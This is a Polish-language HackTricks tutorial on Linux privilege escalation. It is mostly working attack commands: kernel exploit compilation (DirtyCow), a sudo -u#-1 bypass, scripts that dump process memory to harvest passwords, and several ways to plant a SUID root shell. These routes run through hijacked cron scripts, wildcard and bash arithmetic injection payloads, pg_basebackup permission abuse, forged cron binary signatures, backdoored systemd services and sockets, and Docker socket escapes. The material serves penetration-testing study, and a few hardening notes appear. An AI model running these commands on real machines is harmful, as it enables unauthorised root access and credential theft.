Eskalacja uprawnień w Linuksie
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Informacje o systemie
Informacje o systemie operacyjnym
Zacznijmy zdobywać informacje o działającym systemie operacyjnym
(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems
Ścieżka
Jeśli masz uprawnienia zapisu do dowolnego katalogu znajdującego się w zmiennej PATH, możesz przejąć niektóre biblioteki lub binaria:
echo $PATH
Informacje o środowisku
Czy w zmiennych środowiskowych znajdują się interesujące informacje, hasła lub klucze API?
(env || set) 2>/dev/null
Kernel exploits
Sprawdź wersję kernela i czy istnieje jakiś exploit, który można wykorzystać do escalate privileges
cat /proc/version
uname -a
searchsploit "Linux Kernel"
Możesz znaleźć dobrą listę podatnych wersji jądra i kilka już compiled exploits tutaj: https://github.com/lucyoa/kernel-exploits oraz exploitdb sploits.
Inne serwisy, gdzie możesz znaleźć kilka compiled exploits: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack
Aby wyodrębnić wszystkie podatne wersje jądra z tej strony możesz zrobić:
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
Narzędzia, które mogą pomóc w wyszukiwaniu kernel exploitów to:
linux-exploit-suggester.sh
linux-exploit-suggester2.pl
linuxprivchecker.py (execute IN victim,only checks exploits for kernel 2.x)
Zawsze wyszukaj wersję kernela w Google, być może Twoja wersja kernela jest wymieniona w jakimś kernel exploit i wtedy będziesz pewien, że exploit jest prawidłowy.
Dodatkowe techniki eksploatacji kernela:
Adreno A7xx Sds Rb Priv Bypass Gpu Smmu Kernel Rw Arm64 Static Linear Map Kaslr Bypass
CVE-2016-5195 (DirtyCow)
Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
Sudo version
Na podstawie podatnych wersji Sudo, które pojawiają się w:
searchsploit sudo
Możesz sprawdzić, czy wersja sudo jest podatna, używając polecenia grep.
sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"
Sudo < 1.9.17p1
Wersje Sudo sprzed 1.9.17p1 (1.9.14 - 1.9.17 < 1.9.17p1) pozwalają nieuprzywilejowanym lokalnym użytkownikom na eskalację uprawnień do root poprzez opcję sudo --chroot, gdy plik /etc/nsswitch.conf jest używany z katalogu kontrolowanego przez użytkownika.
Oto PoC to exploit that vulnerability. Zanim uruchomisz exploit, upewnij się, że Twoja wersja sudo jest podatna i że obsługuje funkcję chroot.
Więcej informacji znajdziesz w oryginalnym vulnerability advisory
sudo < v1.8.28
Od @sickrov
sudo -u#-1 /bin/bash
Dmesg: weryfikacja sygnatury nie powiodła się
Sprawdź smasher2 box of HTB jako przykład, jak można wykorzystać tę vuln.
dmesg 2>/dev/null | grep "signature"
Więcej rozpoznania systemu
date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info
Wymień możliwe środki obrony
AppArmor
if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi
Grsecurity
((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")
PaX
(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")
Execshield
(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")
SElinux
(sestatus 2>/dev/null || echo "Not found sestatus")
ASLR
cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled
Docker Breakout
Jeśli znajdujesz się wewnątrz kontenera docker, możesz spróbować się z niego wydostać:
Dyski
Sprawdź co jest zamontowane i odmontowane, gdzie i dlaczego. Jeśli coś jest odmontowane, możesz spróbować to zamontować i sprawdzić, czy nie zawiera prywatnych informacji.
ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null
Przydatne oprogramowanie
Wymień przydatne pliki binarne
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
Sprawdź także, czy jakikolwiek kompilator jest zainstalowany. Jest to przydatne, jeśli musisz użyć jakiegoś kernel exploit, ponieważ zaleca się skompilować go na maszynie, na której zamierzasz go użyć (lub na podobnej).
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
Zainstalowane podatne oprogramowanie
Sprawdź wersję zainstalowanych pakietów i usług. Może być jakaś stara wersja Nagios (na przykład) która mogłaby zostać wykorzystana do escalating privileges…
Zaleca się ręczne sprawdzenie wersji bardziej podejrzanego zainstalowanego oprogramowania.
dpkg -l #Debian
rpm -qa #Centos
Jeśli masz dostęp SSH do maszyny, możesz także użyć openVAS, aby sprawdzić przestarzałe i podatne oprogramowanie zainstalowane na tej maszynie.
[!NOTE] > Zwróć uwagę, że te polecenia wyświetlą dużo informacji, które w większości będą bezużyteczne, dlatego zaleca się użycie aplikacji takich jak OpenVAS lub podobnych, które sprawdzą, czy jakakolwiek zainstalowana wersja oprogramowania jest podatna na znane exploits
Procesy
Sprawdź, jakie procesy są uruchomione i czy któryś z nich ma więcej uprawnień niż powinien (może tomcat uruchomiony jako root?)
ps aux
ps -ef
top -n 1
Zawsze sprawdzaj możliwe electron/cef/chromium debuggers running, you could abuse it to escalate privileges. Linpeas wykrywa je, sprawdzając parametr --inspect w linii poleceń procesu.
Sprawdź też swoje uprawnienia względem binarek procesów — być może możesz nadpisać którąś.
Monitorowanie procesów
Możesz użyć narzędzi takich jak pspy do monitorowania procesów. Może to być bardzo przydatne do identyfikacji podatnych procesów uruchamianych często lub gdy spełniony jest określony zestaw warunków.
Pamięć procesu
Niektóre usługi serwera zapisują credentials in clear text inside the memory.
Zwykle będziesz potrzebować root privileges, aby czytać pamięć procesów należących do innych użytkowników, więc jest to zwykle bardziej użyteczne, gdy już jesteś root i chcesz odkryć więcej credentials.
Pamiętaj jednak, że jako zwykły użytkownik możesz czytać pamięć procesów, które posiadasz.
Warning
Zwróć uwagę, że obecnie większość maszyn domyślnie nie zezwala na ptrace, co oznacza, że nie możesz zrzucać innych procesów należących do twojego nieuprzywilejowanego użytkownika.
Plik /proc/sys/kernel/yama/ptrace_scope kontroluje dostępność ptrace:
- kernel.yama.ptrace_scope = 0: wszystkie procesy mogą być debugowane, o ile mają ten sam uid. To klasyczny sposób działania ptrace.
- kernel.yama.ptrace_scope = 1: debugowany może być tylko proces rodzica.
- kernel.yama.ptrace_scope = 2: tylko administrator może używać ptrace, ponieważ wymagana jest capability CAP_SYS_PTRACE.
- kernel.yama.ptrace_scope = 3: żadne procesy nie mogą być śledzone za pomocą ptrace. Po ustawieniu potrzebne jest ponowne uruchomienie systemu, aby ponownie włączyć ptrace.
GDB
Jeśli masz dostęp do pamięci usługi FTP (na przykład), możesz wyciągnąć Heap i przeszukać jego credentials.
gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password
GDB Script
#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done
/proc/$pid/maps & /proc/$pid/mem
Dla danego PID, maps pokazują, jak pamięć jest mapowana w wirtualnej przestrzeni adresowej tego procesu; pokazują one także uprawnienia każdego zmapowanego regionu. Plik pseudo mem udostępnia samą pamięć procesu. Z pliku maps wiemy, które regiony pamięci są czytelne i jakie mają przesunięcia. Wykorzystujemy te informacje, aby przesunąć się w pliku mem i zrzucić wszystkie czytelne regiony do pliku.
procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)
/dev/mem
/dev/mem zapewnia dostęp do fizycznej pamięci systemu, a nie pamięci wirtualnej. Do przestrzeni adresowej wirtualnej pamięci jądra można uzyskać dostęp za pomocą /dev/kmem.
Zazwyczaj /dev/mem można odczytać tylko jako root lub przez członka grupy kmem.
strings /dev/mem -n10 | grep -i PASS
ProcDump dla linux
ProcDump to implementacja narzędzia ProcDump dla linux, będąca reinterpretacją klasycznego narzędzia z pakietu Sysinternals dla Windows. Pobierz je z https://github.com/Sysinternals/ProcDump-for-Linux
procdump -p 1714
ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.
Process: sleep (1714)
CPU Threshold: n/a
Commit Threshold: n/a
Thread Threshold: n/a
File descriptor Threshold: n/a
Signal: n/a
Polling interval (ms): 1000
Threshold (s): 10
Number of Dumps: 1
Output directory for core dumps: .
Press Ctrl-C to end monitoring without terminating the process.
[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714
Narzędzia
Aby zrzucić pamięć procesu możesz użyć:
- https://github.com/Sysinternals/ProcDump-for-Linux
- https://github.com/hajzer/bash-memory-dump (root) - _Możesz ręcznie usunąć wymagania dotyczące roota i zrzucić pamięć procesu należącego do Ciebie
- Script A.5 from https://www.delaat.net/rp/2016-2017/p97/report.pdf (wymagany root)
Poświadczenia z pamięci procesu
Przykład ręczny
Jeśli stwierdzisz, że proces authenticator jest uruchomiony:
ps -ef | grep "authenticator"
root 2027 2025 0 11:46 ? 00:00:00 authenticator
Możesz dump the process (zobacz wcześniejsze sekcje, aby znaleźć różne sposoby na dump the memory of a process) i przeszukać credentials w memory:
./dump-memory.sh 2027
strings *.dump | grep -i password
mimipenguin
Narzędzie https://github.com/huntergregal/mimipenguin będzie wykradać poświadczenia w postaci czystego tekstu z pamięci oraz z niektórych dobrze znanych plików. Wymaga uprawnień root, aby działać poprawnie.
| Funkcja | Nazwa procesu |
|---|---|
| Hasło GDM (Kali Desktop, Debian Desktop) | gdm-password |
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
| LightDM (Ubuntu Desktop) | lightdm |
| VSFTPd (aktywne połączenia FTP) | vsftpd |
| Apache2 (aktywne sesje HTTP Basic Auth) | apache2 |
| OpenSSH (aktywne sesje SSH - użycie sudo) | sshd: |
Wyszukiwanie Regexów/truffleproc
# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt
Zaplanowane zadania/Cron
Crontab UI (alseambusher) uruchomiony jako root – harmonogram oparty na WWW privesc
Jeśli panel webowy “Crontab UI” (alseambusher/crontab-ui) działa jako root i nasłuchuje tylko na loopback, nadal możesz dostać się do niego przez SSH local port-forwarding i utworzyć uprzywilejowane zadanie w celu eskalacji uprawnień.
Typowy łańcuch
- Odnajdź port dostępny tylko z loopback (np. 127.0.0.1:8000) oraz realm Basic-Auth przy użyciu
ss -ntlp/curl -v localhost:8000 - Znajdź poświadczenia w artefaktach operacyjnych:
- Kopie zapasowe/skrypty z
zip -P <password> - jednostka systemd ujawniająca
Environment="BASIC_AUTH_USER=...",Environment="BASIC_AUTH_PWD=..." - Tunelowanie i logowanie:
ssh -L 9001:localhost:8000 user@target
# browse http://localhost:9001 and authenticate
- Utwórz zadanie z wysokimi uprawnieniami i uruchom je natychmiast (drops SUID shell):
# Name: escalate
# Command:
cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell
- Użyj tego:
/tmp/rootshell -p # root shell
Hardening
- Nie uruchamiaj Crontab UI jako root; przypisz dedykowanego użytkownika i minimalne uprawnienia
- Ogranicz nasłuch do localhost i dodatkowo ogranicz dostęp przez firewall/VPN; nie używaj ponownie haseł
- Unikaj osadzania sekretów w unit files; korzystaj z secret stores lub root-only EnvironmentFile
- Włącz audit/logging dla wykonywania zadań na żądanie
Sprawdź, czy jakieś zaplanowane zadanie jest podatne. Być może możesz wykorzystać skrypt uruchamiany przez root (wildcard vuln? możesz modyfikować pliki używane przez root? użyć symlinków? utworzyć określone pliki w katalogu, którego używa root?).
crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"
Ścieżka Cron
Na przykład, w /etc/crontab możesz znaleźć PATH: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
(Zwróć uwagę, że użytkownik “user” ma prawa zapisu do /home/user)
Jeśli w tym crontabie użytkownik root próbuje wykonać jakieś polecenie lub skrypt bez ustawienia PATH. Na przykład: * * * * root overwrite.sh
Wtedy możesz uzyskać shell roota używając:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
Cron używający skryptu z wildcard (Wildcard Injection)
Jeśli skrypt uruchamiany przez root ma “*” w poleceniu, możesz to wykorzystać do wykonania nieoczekiwanych rzeczy (np. privesc). Przykład:
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
Jeśli wildcard jest poprzedzony ścieżką taką jak /some/path/* , nie jest podatny (nawet ./* nie jest).
Przeczytaj następującą stronę, aby poznać więcej wildcard exploitation tricks:
Bash arithmetic expansion injection in cron log parsers
Bash wykonuje parameter expansion i command substitution przed arithmetic evaluation w ((…)), $((…)) i let. Jeśli root cron/parser odczytuje untrusted log fields i przekazuje je do arithmetic context, atakujący może wstrzyknąć command substitution $(…), który wykona się jako root, gdy cron zostanie uruchomiony.
-
Dlaczego to działa: W Bashu expansions występują w tej kolejności: parameter/variable expansion, command substitution, arithmetic expansion, a następnie word splitting i pathname expansion. Dlatego wartość taka jak
$(/bin/bash -c 'id > /tmp/pwn')0jest najpierw substytuowana (wykonywane jest polecenie), a następnie pozostała liczba0jest używana w obliczeniu arytmetycznym, więc skrypt kontynuuje bez błędów. -
Typowy podatny wzorzec:
#!/bin/bash
# Example: parse a log and "sum" a count field coming from the log
while IFS=',' read -r ts user count rest; do
# count is untrusted if the log is attacker-controlled
(( total += count )) # or: let "n=$count"
done < /var/www/app/log/application.log
- Eksploatacja: Uzyskaj wpis sterowany przez atakującego w parsowanym logu tak, aby pole wyglądające na liczbę zawierało command substitution i kończyło się cyfrą. Upewnij się, że twoje polecenie nie wypisuje na stdout (lub przekieruj jego wyjście), tak aby obliczenie arytmetyczne pozostało poprawne.
# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
# When the root cron parser evaluates (( total += count )), your command runs as root.
Cron script overwriting and symlink
Jeśli możesz zmodyfikować cron script uruchamiany przez root, możesz bardzo łatwo uzyskać shell:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p
Jeśli script uruchamiany przez root używa katalogu, do którego masz pełny dostęp, może być użyteczne usunięcie tego folderu i utworzenie symlink wskazującego na inny folder, który będzie zawierał script kontrolowany przez ciebie.
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
Walidacja symlinków i bezpieczniejsze operacje na plikach
Podczas przeglądu uprzywilejowanych skryptów/binariów, które odczytują lub zapisują pliki po ścieżce, sprawdź, jak obsługiwane są linki:
stat()podąża za symlink i zwraca metadane celu.lstat()zwraca metadane samego linku.readlink -finamei -lpomagają wyznaczyć docelowy plik i pokazują uprawnienia każdego składnika ścieżki.
readlink -f /path/to/link
namei -l /path/to/link
Dla obrońców/developerów, bezpieczniejsze wzorce przeciwko symlink tricks obejmują:
O_EXCLzO_CREAT: odmowa, jeśli ścieżka już istnieje (blokuje wcześniej utworzone przez atakującego linki/pliki).openat(): operuj względnie do zaufanego deskryptora pliku katalogu.mkstemp(): twórz pliki tymczasowe atomowo z bezpiecznymi uprawnieniami.
Custom-signed cron binaries with writable payloads
Zespoły Blue czasami “podpisują” binaria uruchamiane przez cron, zrzucając własną sekcję ELF i używając grep do wyszukania vendor string przed ich uruchomieniem jako root. Jeśli to binarium ma uprawnienia zapisu dla grupy (np. /opt/AV/periodic-checks/monitor należący do root:devs 770) i możesz leak the signing material, możesz sfałszować sekcję i przejąć zadanie crona:
- Użyj
pspy, aby przechwycić przepływ weryfikacji. W Era root uruchamiałobjcopy --dump-section .text_sig=text_sig_section.bin monitora następniegrep -oP '(?<=UTF8STRING :)Era Inc.' text_sig_section.bini potem wykonywał plik. - Odtwórz oczekiwany certyfikat przy użyciu leaked key/config (z
signing.zip):
openssl req -x509 -new -nodes -key key.pem -config x509.genkey -days 365 -out cert.pem
- Zbuduj złośliwy zamiennik (np. umieść SUID bash, dodaj swój SSH key) i osadź certyfikat w
.text_sig, tak aby grep przeszedł:
gcc -fPIC -pie monitor.c -o monitor
objcopy --add-section .text_sig=cert.pem monitor
objcopy --dump-section .text_sig=text_sig_section.bin monitor
strings text_sig_section.bin | grep 'Era Inc.'
- Nadpisz zaplanowane binarium, zachowując bity wykonywalności:
cp monitor /opt/AV/periodic-checks/monitor
chmod 770 /opt/AV/periodic-checks/monitor
- Poczekaj na następne uruchomienie crona; gdy naiwna weryfikacja podpisu zakończy się sukcesem, twój payload uruchomi się jako root.
Frequent cron jobs
Możesz monitorować procesy, aby wyszukać te, które są wykonywane co 1, 2 lub 5 minut. Być może możesz to wykorzystać i eskalować uprawnienia.
Na przykład, aby monitorować co 0.1s przez 1 minutę, posortować według rzadziej wykonywanych poleceń i usunąć polecenia, które były wykonywane najczęściej, możesz zrobić:
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
Możesz także użyć pspy (to będzie monitorować i wypisywać wszystkie uruchamiane procesy).
Kopie zapasowe roota, które zachowują bity trybu ustawione przez atakującego (pg_basebackup)
Jeśli root-owned cron uruchamia pg_basebackup (lub dowolne rekursywne kopiowanie) w katalogu bazy danych, do którego możesz zapisywać, możesz umieścić SUID/SGID binary, który zostanie skopiowany jako root:root z tymi samymi mode bits do wyniku kopii zapasowej.
Typowy przebieg odkrywania (jako nisko uprzywilejowany użytkownik DB):
- Użyj
pspy, aby wykryć root cron wywołujący coś w stylu/usr/lib/postgresql/14/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/co minutę. - Potwierdź, że źródłowy klaster (np.
/var/lib/postgresql/14/main) jest zapisywalny przez Ciebie oraz że miejsce docelowe (/opt/backups/current) staje się własnością root po wykonaniu zadania.
Eksploit:
# As the DB service user owning the cluster directory
cd /var/lib/postgresql/14/main
cp /bin/bash .
chmod 6777 bash
# Wait for the next root backup run (pg_basebackup preserves permissions)
ls -l /opt/backups/current/bash # expect -rwsrwsrwx 1 root root ... bash
/opt/backups/current/bash -p # root shell without dropping privileges
To działa, ponieważ pg_basebackup zachowuje bity trybu pliku podczas kopiowania klastra; gdy jest wywołany przez root, pliki docelowe dziedziczą własność konta root + SUID/SGID wybrane przez atakującego. Każda podobna uprzywilejowana rutyna backup/copy, która zachowuje uprawnienia i zapisuje do lokalizacji wykonywalnej, jest podatna.
Niewidoczne zadania cron
Możliwe jest utworzenie zadania cron, wstawiając powrót karetki po komentarzu (bez znaku nowej linii), i zadanie cron będzie działać. Przykład (zwróć uwagę na znak powrotu karetki):
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
Usługi
Pliki .service z prawem zapisu
Sprawdź, czy możesz zapisać jakiś plik .service — jeśli tak, możesz go zmodyfikować, aby uruchamiał twój backdoor gdy usługa jest uruchomiona, zrestartowana lub zatrzymana (może być konieczne poczekanie do restartu maszyny).
Na przykład umieść swój backdoor wewnątrz pliku .service, używając ExecStart=/tmp/script.sh
Pliki binarne usług z prawem zapisu
Pamiętaj, że jeśli masz uprawnienia zapisu do binariów uruchamianych przez usługi, możesz je zmodyfikować, dodając backdoor, tak aby po ponownym uruchomieniu usług backdoor został wykonany.
systemd PATH - Ścieżki względne
Możesz zobaczyć PATH używany przez systemd za pomocą:
systemctl show-environment
Jeśli odkryjesz, że możesz zapisywać w którymkolwiek z folderów w ścieżce, możesz być w stanie escalate privileges. Musisz poszukać ścieżek względnych używanych w plikach konfiguracji usług takich jak:
ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
Następnie utwórz wykonywalny plik o tej samej nazwie co binarka wskazana przez względną ścieżkę wewnątrz katalogu PATH systemd, do którego masz zapis, i gdy usługa zostanie poproszona o wykonanie podatnej akcji (Start, Stop, Reload), twój backdoor zostanie wykonany (użytkownicy bez uprawnień zazwyczaj nie mogą uruchamiać/zatrzymywać usług, ale sprawdź, czy możesz użyć sudo -l).
Dowiedz się więcej o usługach za pomocą man systemd.service.
Timery
Timery to pliki jednostek systemd, których nazwa kończy się na **.timer**, które kontrolują pliki lub zdarzenia **.service**. Timery mogą być używane jako alternatywa dla cron, ponieważ mają wbudowane wsparcie dla zdarzeń opartych na czasie kalendarzowym i zdarzeń monotonicznych oraz mogą być uruchamiane asynchronicznie.
Możesz wylistować wszystkie timery za pomocą:
systemctl list-timers --all
Zapisywalne timery
Jeśli możesz zmodyfikować timer, możesz spowodować wykonanie niektórych istniejących jednostek systemd.unit (np. .service lub .target).
Unit=backdoor.service
W dokumentacji możesz przeczytać, czym jest Unit:
Jednostka do aktywacji, gdy ten timer wygaśnie. Argument to nazwa unit, której sufiks nie jest “.timer”. Jeśli nie zostanie określony, ta wartość domyślnie wskazuje na service o tej samej nazwie co jednostka timer, z wyjątkiem sufiksu. (Zobacz wyżej.) Zaleca się, aby nazwa unit, która jest aktywowana, i nazwa unit timer były identyczne, z wyjątkiem sufiksu.
Dlatego, aby wykorzystać to uprawnienie, musisz:
- Znajdź jakąś systemd unit (np.
.service), która uruchamia zapisywalny plik binarny - Znajdź systemd unit, która uruchamia względną ścieżkę i nad którą masz uprawnienia do zapisu w systemd PATH (aby podszyć się pod ten plik wykonywalny)
Dowiedz się więcej o timerach za pomocą man systemd.timer.
Włączanie Timera
Aby włączyć timer potrzebujesz uprawnień root i uruchomić:
sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
Note the timer is activated by creating a symlink to it on /etc/systemd/system/<WantedBy_section>.wants/<name>.timer
Gniazda
Unix Domain Sockets (UDS) umożliwiają komunikację między procesami na tej samej lub na różnych maszynach w modelach klient‑serwer. Wykorzystują standardowe pliki deskryptorów Unix do komunikacji między komputerami i są konfigurowane za pomocą plików .socket.
Sockets can be configured using .socket files.
Dowiedz się więcej o gniazdach za pomocą man systemd.socket. W tym pliku można skonfigurować kilka interesujących parametrów:
ListenStream,ListenDatagram,ListenSequentialPacket,ListenFIFO,ListenSpecial,ListenNetlink,ListenMessageQueue,ListenUSBFunction: Te opcje są różne, ale w skrócie służą do wskazania miejsca nasłuchu gniazda (ścieżka pliku gniazda AF_UNIX, IPv4/6 i/lub numer portu do nasłuchu, itp.)Accept: Przyjmuje argument typu boolean. Jeśli true, dla każdego przychodzącego połączenia uruchamiany jest osobny egzemplarz service, któremu przekazywane jest tylko połączenie. Jeśli false, wszystkie gniazda nasłuchujące są przekazywane do uruchomionej jednostki service, i tworzona jest tylko jedna jednostka obsługująca wszystkie połączenia. Ta wartość jest ignorowana dla gniazd datagramowych i FIFO, gdzie jedna jednostka obsługuje bezwarunkowo cały ruch przychodzący. Domyślnie: false. Ze względów wydajnościowych zaleca się pisać nowe demony w sposób zgodny zAccept=no.ExecStartPre,ExecStartPost: Przyjmują jedną lub więcej linii poleceń, które są wykonywane przed lub po utworzeniu i związywaniu nasłuchujących gniazd/FIFO, odpowiednio. Pierwszy token linii poleceń musi być absolutną nazwą pliku, po którym następują argumenty procesu.ExecStopPre,ExecStopPost: Dodatkowe polecenia, które są wykonywane przed lub po zamknięciu i usunięciu nasłuchujących gniazd/FIFO, odpowiednio.Service: Określa nazwę jednostkiservice, która ma zostać aktywowana przy ruchu przychodzącym. To ustawienie jest dozwolone tylko dla gniazd zAccept=no. Domyślnie wskazuje na service o tej samej nazwie co socket (z odpowiednio zmienionym sufiksem). W większości przypadków nie ma potrzeby używania tej opcji.
Zapisowalne pliki .socket
Jeśli znajdziesz zapisowalny plik .socket, możesz dodać na początku sekcji [Socket] coś w rodzaju: ExecStartPre=/home/kali/sys/backdoor i backdoor zostanie wykonany zanim socket zostanie utworzony. W związku z tym prawdopodobnie będziesz musiał poczekać na ponowne uruchomienie maszyny.
Uwaga: system musi używać tej konfiguracji pliku socket, inaczej backdoor nie zostanie uruchomiony
Socket activation + writable unit path (create missing service)
- jednostka socket z
Accept=noiService=<name>.service - odwoływana jednostka service nie istnieje
- atakujący może zapisywać do
/etc/systemd/system(lub innej ścieżki wyszukiwania unitów)
W takim przypadku atakujący może utworzyć <name>.service, a następnie wywołać ruch do socketu, aby systemd załadował i wykonał nową usługę jako root.
Szybki przebieg:
systemctl cat vuln.socket
# [Socket]
# Accept=no
# Service=vuln.service
cat >/etc/systemd/system/vuln.service <<'EOF'
[Service]
Type=oneshot
ExecStart=/bin/bash -c 'cp /bin/bash /var/tmp/rootbash && chmod 4755 /var/tmp/rootbash'
EOF
nc -q0 127.0.0.1 9999
/var/tmp/rootbash -p
Zapisywalne sockets
Jeśli zidentyfikujesz jakikolwiek writable socket (mówimy tu o Unix Sockets i nie o plikach konfiguracyjnych .socket), wtedy możesz komunikować się z tym socketem i ewentualnie wykorzystać lukę.
Enumeracja Unix Sockets
netstat -a -p --unix
Surowe połączenie
#apt-get install netcat-openbsd
nc -U /tmp/socket #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket
#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type
Przykład eksploatacji:
HTTP sockets
Zwróć uwagę, że mogą istnieć pewne sockets listening for HTTP żądań (Nie mówię o .socket files, lecz o plikach działających jako unix sockets). Możesz to sprawdzić za pomocą:
curl --max-time 2 --unix-socket /path/to/socket/file http://localhost/
If the socket odpowiada na żądanie HTTP, wtedy możesz się z nim komunikować i być może exploit some vulnerability.
Writable Docker Socket
The Docker socket, often found at /var/run/docker.sock, is a critical file that should be secured. By default, it’s writable by the root user and members of the docker group. Possessing write access to this socket can lead to privilege escalation. Here’s a breakdown of how this can be done and alternative methods if the Docker CLI isn’t available.
Privilege Escalation with Docker CLI
If you have write access to the Docker socket, you can escalate privileges using the following commands:
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
Te polecenia pozwalają uruchomić kontener z uprawnieniami root do systemu plików hosta.
Using Docker API Directly
W przypadkach, gdy Docker CLI nie jest dostępny, docker socket można nadal manipulować za pomocą Docker API i poleceń curl.
